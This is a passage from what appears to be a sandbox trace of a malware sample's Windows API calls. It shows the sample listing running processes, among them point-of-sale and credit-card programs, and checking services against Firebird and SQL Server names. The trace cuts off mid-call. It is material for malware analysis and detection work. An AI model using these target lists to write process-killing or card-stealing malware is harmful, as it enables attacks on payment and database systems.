lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0162.610] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0162.610] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0162.610] lstrlenW (lpString="creditservice.exe") returned 17 [0162.610] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0162.611] lstrlenW (lpString="edcsvr.exe") returned 10 [0162.611] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0162.611] lstrlenW (lpString="fpos.exe") returned 8 [0162.611] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0162.612] lstrlenW (lpString="isspos.exe") returned 10 [0162.612] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0162.613] lstrlenW (lpString="mxslipstream.exe") returned 16 [0162.613] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0162.613] lstrlenW (lpString="omnipos.exe") returned 11 [0162.613] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0162.614] lstrlenW (lpString="spcwin.exe") returned 10 [0162.614] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0162.614] lstrlenW (lpString="spgagentservice.exe") returned 19 [0162.614] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0162.615] lstrlenW (lpString="utg2.exe") returned 8 [0162.615] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0162.615] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0162.616] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.616] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.616] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.617] lstrlenW (lpString="svchost.exe") returned 11 [0162.617] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.617] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.617] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0162.618] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0162.618] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.618] lstrlenW (lpString="conhost.exe") returned 11 [0162.618] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0162.619] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0162.619] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.619] lstrlenW (lpString="conhost.exe") returned 11 [0162.619] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0162.620] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0162.620] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0162.620] lstrlenW (lpString="powershell.exe") returned 14 [0162.620] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.621] lstrlenW (lpString="conhost.exe") returned 11 [0162.621] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0162.621] lstrlenW (lpString="TiWorker.exe") returned 12 [0162.621] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0162.622] lstrlenW (lpString="sppsvc.exe") returned 10 [0162.622] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0162.622] lstrlenW (lpString="powershell.exe") returned 14 [0162.622] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.623] lstrlenW (lpString="conhost.exe") returned 11 [0162.623] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.623] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.623] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0162.624] lstrlenW (lpString="NS2.exe") returned 7 [0162.624] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.624] lstrlenW (lpString="conhost.exe") returned 11 [0162.624] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.625] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.625] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.625] lstrlenW (lpString="dllhost.exe") returned 11 [0162.625] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0162.626] lstrlenW (lpString="winhost.exe") returned 11 [0162.626] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0162.626] lstrlenW (lpString="cmd.exe") returned 7 [0162.626] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.627] lstrlenW (lpString="conhost.exe") returned 11 [0162.627] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0162.627] lstrlenW (lpString="mode.com") returned 8 [0162.627] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0162.628] CloseHandle (hObject=0x390) returned 1 [0162.628] Sleep (dwMilliseconds=0x1f4) [0163.375] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eef40 [0163.375] EnumServicesStatusExW (in: hSCManager=0x6eef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0163.375] GetLastError () returned 0xea [0163.375] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0163.376] EnumServicesStatusExW (in: hSCManager=0x6eef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0163.377] CloseServiceHandle (hSCObject=0x6eef40) returned 1 [0163.377] lstrlenW (lpString="Appinfo") returned 7 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0163.377] lstrlenW (lpString="AppXSvc") returned 7 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0163.377] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.377] lstrlenW (lpString="Audiosrv") returned 8 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0163.377] lstrlenW (lpString="BFE") returned 3 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.377] lstrlenW (lpString="BITS") returned 4 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0163.377] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0163.378] lstrlenW (lpString="CDPSvc") returned 6 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0163.378] lstrlenW (lpString="ClipSVC") returned 7 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0163.378] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0163.378] lstrlenW (lpString="CryptSvc") returned 8 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.378] lstrlenW (lpString="DcomLaunch") returned 10 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.378] lstrlenW (lpString="Dhcp") returned 4 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.378] lstrlenW (lpString="Dnscache") returned 8 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.378] lstrlenW (lpString="DoSvc") returned 5 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0163.378] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0163.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0163.378] lstrlenW (lpString="DPS") returned 3 [0163.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.379] lstrlenW (lpString="DusmSvc") returned 7 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0163.379] lstrlenW (lpString="EventLog") returned 8 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0163.379] lstrlenW (lpString="EventSystem") returned 11 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.379] lstrlenW (lpString="gpsvc") returned 5 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.379] lstrlenW (lpString="iphlpsvc") returned 8 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.379] lstrlenW (lpString="KeyIso") returned 6 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0163.379] lstrlenW (lpString="LanmanServer") returned 12 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.379] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.379] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.379] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.379] lstrlenW (lpString="lfsvc") returned 5 [0163.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0163.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0163.380] lstrlenW (lpString="LicenseManager") returned 14 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", 